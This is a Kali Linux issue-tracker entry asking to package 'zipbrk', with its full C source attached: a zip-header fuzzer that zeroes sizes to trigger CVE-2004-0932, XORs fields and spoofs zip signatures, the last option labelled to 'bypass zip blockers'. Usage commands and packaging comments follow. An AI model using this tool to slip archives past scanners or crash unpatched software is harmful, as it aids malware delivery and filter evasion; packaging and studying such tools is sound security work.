View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0004550 | Kali Linux | Queued Tool Addition | public | 2018-02-21 15:57 | 2020-06-17 14:57 |
| Reporter | kvesel | Assigned To | |||
| Priority | normal | Severity | minor | Reproducibility | N/A |
| Status | acknowledged | Resolution | open | ||
| Summary | 0004550: zipbrk - exploit/tool for modern systems | ||||
| Description | Update for the | ||||
| Steps To Reproduce | N/A | ||||
| Additional Information | The repository for the updated version can be found at: https://github.com/kvesel/zipbrk/ | ||||
| Attached Files | zipbrk.c (13,906 bytes)
/*
* Zip Break (zipbrk)
* zip file format fuzzer and multi-tool
*
* Originally designed to implement CVE-2004-0932, et al.
* and later expanded to modify a range of values for various
* purposes. Updated to support 64-bit platforms and tested
* on an array of modern operating systems and architectures
* to include:
* armhf
* arm7l
* ia64/amd64
* x86
* Debian 8/9
* Windows 2000/XP
* Windows Vista/7/8
* Windows 10
* Nethunter
* Kali 2017.x
* FreeBSD 11
* NetBSD
* Fedora 23/24/25
* Raspbian
* iOS 10/11
* Android OnePlus X Onyx
*
* You are free to use, modify, and distribute this program as
* you see fit for personal, commercial, or government needs.
*
* No point-of-contact for support is provided or implied. This
* code is provided as-is.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#define ZIPBRK_VERSION "2.1.1b"
#pragma pack(push, 1)
typedef struct s_local_hdr
{
uint32_t sig; // 0x04034B50
uint16_t x_ver;
uint16_t flag;
uint16_t comp;
uint16_t m_time;
uint16_t m_date;
uint32_t crc32;
uint32_t c_size;
uint32_t u_size;
uint16_t namelen;
uint16_t fieldlen;
} LOCALHDR, *PLOCALHDR, *LPLOCALHDR;
typedef struct s_data_desc
{
uint32_t crc32;
uint32_t c_size;
uint32_t u_size;
} DATADESC, *PDATADESC, *LPDATADESC;
typedef struct s_central_hdr
{
uint32_t sig; // 0x02014B50
uint16_t m_ver;
uint16_t x_ver;
uint16_t flag;
uint16_t comp;
uint16_t m_time;
uint16_t m_date;
uint32_t crc32;
uint32_t c_size;
uint32_t u_size;
uint16_t namelen;
uint16_t fieldlen;
uint16_t disk;
uint16_t i_attr;
uint32_t x_attr;
uint32_t roh;
} CENTRALHDR, *PCENTRALHDR, *LPCENTRALHDR;
typedef struct s_central_end
{
uint32_t sig; // 0x06054B50
uint16_t disk;
uint16_t s_disk;
uint16_t l_count;
uint16_t g_count;
uint32_t c_size;
uint32_t offset;
uint16_t commentlen;
} CENTRALEND, *PCENTRALEND, *LPCENTRALEND;
#pragma pack(pop)
/* PKZIP magic numbers */
#define PK_LOCALHDR 0x04034B50
#define PK_CENTRALHDR 0x02014B50
#define PK_CENTRALEND 0x06054B50
/* ZIPBRK magic numbers */
#define ZB_LOCALHDR 0x0403534D
#define ZB_CENTRALHDR 0x0201534D
#define ZB_CENTRALEND 0x0605534D
/* defines for zip flags */
#define ZIP_ENCRYPT 0x1
#define ZIP_BIT1 0x2
#define ZIP_BIT2 0x4
#define ZIP_DATADESC 0x8
/* defines for options FLAGS */
#define EFLAG 0x0001
#define CFLAG 0x0002
#define UFLAG 0x0004
#define XEFLAG 0x0008
#define XSFLAG 0x0010
#define SFLAG 0x0020
#define XCFLAG 0x0040
#define XUFLAG 0x0080
#define ZDFLAG 0x0100
#define ZTFLAG 0x0200
#define DEFLAG 0x0400
#define DSFLAG 0x0800
/* configuration options */
#define MAXPASSLEN 128
uint16_t FLAGS;
uint32_t PWHASH;
/* show program help message */
void show_usage()
{
printf(
"zipbrk-%s zip file format fuzzer\n"
"Usage: zipbrk <zip_file> <option>\n"
"Options:\n"
" -e Set data encryption flag. (default)\n"
" --encryption-set\n"
" -de Unset data encryption flag.\n"
" --encryption-unset\n"
" -c Set compressed size to 0. (non-reversible)\n"
" --zero-compressed\n"
" -u Set uncompressed size to 0. (non-reversible) (CVE-2004-0932)\n"
" --zero-uncompressed\n"
" -d Set date to 0. (non-reversible)\n"
" --zero-date\n"
" -t Set time to 0. (non-reversible)\n"
" --zero-time\n"
" -xe XOR extract version. (password prompted)\n"
" --xor-extract\n"
" -xs XOR CRC32. (password prompted) (halts extraction)\n"
" --xor-crc32\n"
" -xc XOR compressed size. (password prompted)\n"
" --xor-compressed\n"
" -xu XOR uncompressed size. (password prompted)\n"
" --xor-uncompressed\n"
" -s Alter zip file signatures. (detectable) (bypass zip blockers)\n"
" --signature-spoof\n"
" -ds Reset zip file signatures.\n"
" --signature-restore\n"
"\n"
" Example:\n"
" zipbrk README.zip -e -u -s -xs\n"
" zipbrk README.zip --encryption-unset --xor-crc32\n"
, ZIPBRK_VERSION
);
}
uint32_t pass_hash(unsigned char *pass, uint16_t len)
{
uint32_t hash = 0;
uint16_t n;
for ( n = 0; n < len; n++ )
hash += pass[n];
return hash;
}
/* pwrite: write data a single byte at a time to a file opened as rb+ */
size_t pwrite(const void *buffer, size_t size, size_t count, FILE *stream)
{
const unsigned char *p;
size_t c, s, len;
p = buffer;
for (c = 0, len = 0; c < count; c++) {
for (s = 0; s < size; s++) {
if ( (len += fwrite(&p[s], sizeof(unsigned char), 1, stream)) < sizeof(unsigned char) )
return len;
}
}
return len;
}
/* apply modifications to a zip file */
void patch_zip(const char *filename)
{
FILE *hfile;
uint32_t buffer;
long offset;
if ( (hfile = fopen(filename, "rb+") ) == NULL) {
printf("[!] Error: Unable to open %s\n", filename); return; }
printf(" [+] Processing options...\n");
fseek(hfile, 0, SEEK_SET);
while ( fread(&buffer, sizeof(buffer), 1, hfile) )
{
/* local file header */
if ( (buffer == PK_LOCALHDR) || (buffer == ZB_LOCALHDR) )
{
LOCALHDR lh;
fseek(hfile, -sizeof(buffer), SEEK_CUR);
fread(&lh, sizeof(LOCALHDR), 1, hfile);
offset = ftell(hfile);
fseek(hfile, -sizeof(lh), SEEK_CUR);
printf(" [-] Writing local header patch [0x%.8X]\n", ftell(hfile));
if (FLAGS & EFLAG) {
if (!(lh.flag & ZIP_ENCRYPT)) lh.flag |= 0x1; }
if (FLAGS & DEFLAG) {
if (lh.flag & ZIP_ENCRYPT) lh.flag = lh.flag ^ 0x1; }
if (FLAGS & CFLAG)
lh.c_size = 0;
if (FLAGS & UFLAG)
lh.u_size = 0;
if (FLAGS & ZDFLAG)
lh.m_date = 0;
if (FLAGS & ZTFLAG)
lh.m_time = 0;
if (FLAGS & XEFLAG)
lh.x_ver = (lh.x_ver ^ PWHASH);
if (FLAGS & XSFLAG)
lh.crc32 = (lh.crc32 ^ PWHASH);
if (FLAGS & XCFLAG)
lh.c_size = (lh.c_size ^ PWHASH);
if (FLAGS & XUFLAG)
lh.u_size = (lh.u_size ^ PWHASH);
if (FLAGS & SFLAG)
lh.sig = ZB_LOCALHDR;
if (FLAGS & DSFLAG)
lh.sig = PK_LOCALHDR;
pwrite(&lh, sizeof(lh), 1, hfile);
fseek(hfile, offset, SEEK_SET);
}
/* central file header */
if ( (buffer == PK_CENTRALHDR) || (buffer == ZB_CENTRALHDR) )
{
CENTRALHDR ch;
fseek(hfile, -sizeof(buffer), SEEK_CUR);
fread(&ch, sizeof(CENTRALHDR), 1, hfile);
offset = ftell(hfile);
fseek(hfile, -sizeof(ch), SEEK_CUR);
printf(" [-] Writing central header patch [0x%.8X]\n", ftell(hfile));
if (FLAGS & EFLAG) {
if (!(ch.flag & ZIP_ENCRYPT)) ch.flag |= 0x1; }
if (FLAGS & DEFLAG) {
if (ch.flag & ZIP_ENCRYPT) ch.flag = ch.flag ^ 0x1; }
if (FLAGS & CFLAG)
ch.c_size = 0;
if (FLAGS & UFLAG)
ch.u_size = 0;
if (FLAGS & ZDFLAG)
ch.m_date = 0;
if (FLAGS & ZTFLAG)
ch.m_time = 0;
if (FLAGS & XEFLAG)
ch.x_ver = (ch.x_ver ^ PWHASH);
if (FLAGS & XSFLAG)
ch.crc32 = (ch.crc32 ^ PWHASH);
if (FLAGS & XCFLAG)
ch.c_size = (ch.c_size ^ PWHASH);
if (FLAGS & XUFLAG)
ch.u_size = (ch.u_size ^ PWHASH);
if (FLAGS & SFLAG)
ch.sig = ZB_CENTRALHDR;
if (FLAGS & DSFLAG)
ch.sig = PK_CENTRALHDR;
pwrite(&ch, sizeof(ch), 1, hfile);
fseek(hfile, offset, SEEK_SET);
}
/* central directory header */
if ( (buffer == PK_CENTRALEND) || (buffer == ZB_CENTRALEND) )
{
CENTRALEND ce;
fseek(hfile, -sizeof(buffer), SEEK_CUR);
fread(&ce, sizeof(CENTRALEND), 1, hfile);
offset = ftell(hfile);
fseek(hfile, -sizeof(ce), SEEK_CUR);
printf(" [-] Writing central directory patch [0x%.8X]\n", ftell(hfile));
if (FLAGS & SFLAG)
ce.sig = ZB_CENTRALEND;
if (FLAGS & DSFLAG)
ce.sig = PK_CENTRALEND;
pwrite(&ce, sizeof(ce), 1, hfile);
fseek(hfile, offset, SEEK_SET);
}
fseek(hfile, -(sizeof(buffer) - 1), SEEK_CUR);
}
fclose(hfile);
}
/* prompt user for password and generate hash */
void prompt_pass()
{
char passwd[MAXPASSLEN], verify[MAXPASSLEN];
int n;
/* initialisation */
memset(passwd, 0, sizeof(passwd));
memset(verify, 0, sizeof(verify));
/* prompt password */
printf("Enter Password: ");
fgets(passwd, sizeof(passwd)-1, stdin);
for ( n = 0; n < sizeof(passwd); n++ ) {
if ( (passwd[n] == 0x0D) || (passwd[n] == 0x0A) ) { passwd[n] = 0x00; break; }}
/* prompt verify password */
printf("Verify Password: ");
fgets(verify, sizeof(verify)-1, stdin);
for ( n = 0; n < sizeof(verify); n++ ) {
if ( (verify[n] == 0x0D) || (verify[n] == 0x0A) ) { verify[n] = 0x00; break; }}
/* verify password match */
for ( n = 0; n < MAXPASSLEN; n++ ) {
if (!(passwd[n] == verify[n])) { printf("Password Mismatch.\n"); exit(1); }}
for ( n = 0; n < sizeof(passwd); n++ ) {
if (!(passwd[n] == verify[n])) { printf("Password Mismatch.\n"); exit(1); }}
for ( n = 0; n < sizeof(verify); n++ ) {
if (!(passwd[n] == verify[n])) { printf("Password Mismatch.\n"); exit(1); }}
/* generate hash and cleanup */
PWHASH = pass_hash(passwd, strlen(passwd));
}
/* main entry point */
int main(int argc, char **argv)
{
uint8_t k;
unsigned char *filename;
uint8_t pwprompt = 0;
if ( argc < 2 ) {
show_usage(); return 0; }
if ( !strcmp(argv[1], "-h") || !strcmp(argv[1], "/?") || !strcmp(argv[1], "--help") ) {
show_usage(); return 0; }
filename = argv[1];
FLAGS = 0;
printf("[+] Setting program options.\n");
if ( argc == 2 )
{
FLAGS |= EFLAG;
printf(" [-] Option Set: Encryption Flag\t[ ON]\n");
}
for ( k = 2; k < argc; k++ )
{
if (!strcmp(argv[k], "-e") || !strcmp(argv[k], "--encryption-set")) {
FLAGS |= EFLAG; printf(" [-] Option Set: Encryption Flag\t[ ON]\n"); }
else if (!strcmp(argv[k], "-de") || !strcmp(argv[k], "--encryption-unset")) {
FLAGS |= DEFLAG; printf(" [-] Option Set: Encryption Flag\t[OFF]\n"); }
else if (!strcmp(argv[k], "-c") || !strcmp(argv[k], "--zero-compressed")) {
FLAGS |= CFLAG; printf(" [-] Option Set: Compressed 0\t[ ON]\n"); }
else if (!strcmp(argv[k], "-u") || !strcmp(argv[k], "--zero-uncompressed")) {
FLAGS |= UFLAG; printf(" [-] Option Set: Uncompressed 0\t[ ON]\n"); }
else if (!strcmp(argv[k], "-d") || !strcmp(argv[k], "--zero-date")) {
FLAGS |= ZDFLAG; printf(" [-] Option Set: Zero Date\t\t[ ON]\n"); }
else if (!strcmp(argv[k], "-t") || !strcmp(argv[k], "--zero-time")) {
FLAGS |= ZTFLAG; printf(" [-] Option Set: Zero Time\t\t[ ON]\n"); }
else if (!strcmp(argv[k], "-xe") || !strcmp(argv[k], "--xor-extract")) {
FLAGS |= XEFLAG; printf(" [-] Option Set: XOR Extract\t\t[ ON]\n"); pwprompt = 1; }
else if (!strcmp(argv[k], "-xs") || !strcmp(argv[k], "--xor-crc32")) {
FLAGS |= XSFLAG; printf(" [-] Option Set: XOR CRC32\t\t[ ON]\n"); pwprompt = 1; }
else if (!strcmp(argv[k], "-xc") || !strcmp(argv[k], "--xor-compressed")) {
FLAGS |= XCFLAG; printf(" [-] Option Set: XOR Compressed\t[ ON]\n"); pwprompt = 1; }
else if (!strcmp(argv[k], "-xu") || !strcmp(argv[k], "--xor-uncompressed")) {
FLAGS |= XUFLAG; printf(" [-] Option Set: XOR Uncompressed\t[ ON]\n"); pwprompt = 1; }
else if (!strcmp(argv[k], "-s") || !strcmp(argv[k], "--signature-spoof")) {
FLAGS |= SFLAG; printf(" [-] Option Set: Alter Signature\t[ ON]\n"); }
else if (!strcmp(argv[k], "-ds") || !strcmp(argv[k], "--signature-restore")) {
FLAGS |= DSFLAG; printf(" [-] Option Set: Alter Signature\t[OFF]\n"); }
else {
printf(" [!] Option Set: Unknown Option\t[%s]\n", argv[k]); }
}
if ( pwprompt )
prompt_pass();
printf("[+] Modifying %s ...\n", filename);
patch_zip(filename);
printf("[+] Modifications complete.\n");
return 0;
}
| ||||
|
To help speed up the process of evaluating the tool, please make sure to include the following information (the more information you include, the more beneficial it will for us):
|
|
zipbrk file.zip --encryption-unset zipbrk file.zip --xor-crc32 zipbrk file.zip --signature-spoof zipbrk file.zip --zero-date --zero-time |
|
|
I uploaded the source and manpage as well to bug tracking. |
|
|
Please could you tag the release: https://github.com/kvesel/zipbrk/releases |
|
|
Yes thank you it is done.)) https://github.com/kvesel/zipbrk/releases/ |
|
|
@kali-team, please could this be packaged up. |
|
|
@g0tmi1k ok, i am working on the package, should i move the code/project to gitlab as well? |
|
|
Up to you! We don't mind. |
|
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2018-02-21 15:57 | kvesel | New Issue | |
| 2018-02-21 16:04 | g0tmi1k | Product Version | 2018.1 => |
| 2018-02-21 16:04 | g0tmi1k | Summary |
Update to zipbrk exploit/tool for modern systems => zipbrk - exploit/tool for modern systems |
| 2018-02-21 16:04 | g0tmi1k | Note Added: 0008781 | |
| 2018-02-21 18:29 | kvesel | File Added: zipbrk.c | |
| 2018-02-21 18:29 | kvesel | Note Added: 0008786 | |
| 2018-02-21 18:30 | kvesel | File Added: zipbrk.1.gz | |
| 2018-02-21 18:32 | kvesel | Note Added: 0008787 | |
| 2018-02-22 18:02 | g0tmi1k | Note Added: 0008792 | |
| 2018-02-22 21:47 | kvesel | Note Added: 0008793 | |
| 2020-02-25 13:31 | g0tmi1k | Status | new => acknowledged |
| 2020-02-25 13:31 | g0tmi1k | Category | New Tool Requests => Queued Tool Addition |
| 2020-02-25 13:31 | g0tmi1k | Note Added: 0012343 | |
| 2020-04-15 07:49 | kvesel | Note Added: 0012624 | |
| 2020-04-15 08:29 | g0tmi1k | Note Added: 0012625 | |
| 2020-06-17 14:57 | g0tmi1k | Severity | feature => minor |